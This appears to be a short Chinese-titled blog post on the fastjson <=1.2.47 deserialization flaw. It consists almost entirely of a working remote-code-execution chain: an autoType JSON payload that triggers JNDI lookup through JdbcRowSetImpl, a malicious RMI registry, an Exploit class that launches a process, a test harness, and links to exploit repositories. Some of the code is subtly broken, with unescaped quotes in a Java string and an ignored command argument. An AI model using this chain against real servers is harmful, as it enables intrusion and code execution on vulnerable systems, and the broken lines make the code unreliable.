fastjson <=1.2.47 反序列化漏洞浅析

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

/* * Copyright sky 2019-07-11 Email:[email protected]. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * *      http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */package cn.org.javaweb.fastjsontest;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;
/** * @author sky */public class test3 {
    public static void main(String[] args) throws Exception {        Registry registry = LocateRegistry.createRegistry(1099);        Reference reference = new Reference("Exloit",                "Exploit","http://localhost:8000/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("Exploit",referenceWrapper);    }}

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;
public class Exploit implements ObjectFactory {
    @Override    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {        exec("xterm");        return null;    }
    public static String exec(String cmd) {        try {            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");        } catch (IOException e) {            e.printStackTrace();        }        return "";    }
    public static void main(String[] args) {        exec("123");    }}

/* * Copyright sky 2019-07-11 Email:[email protected]. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * *      http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */package cn.org.javaweb.fastjsontest;
import com.alibaba.fastjson.JSON;
/** * @author sky */public class test5 {
    public static void main(String[] argv) {        String payload = "{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}," +                ""xxxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":" +                ""rmi://localhost:1099/Exploit","autoCommit":true}}}";        JSON.parse(payload);    }
}

if (key == JSON.DEFAULT_TYPE_KEY&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { ………… ………… …………if (object != null&&object.getClass().getName().equals(typeName)) {    clazz = object.getClass();} else {     clazz = config.checkAutoType(typeName, null, lexer.getFeatures()); } ………… ………… …………
    Object obj = deserializer.deserialze(this, clazz, fieldName);    return obj;
}

https://github.com/iBearcat/FastJson-JdbcRowSetImpl-RCEhttps://github.com/MagicZer0/fastjson-rce-exploit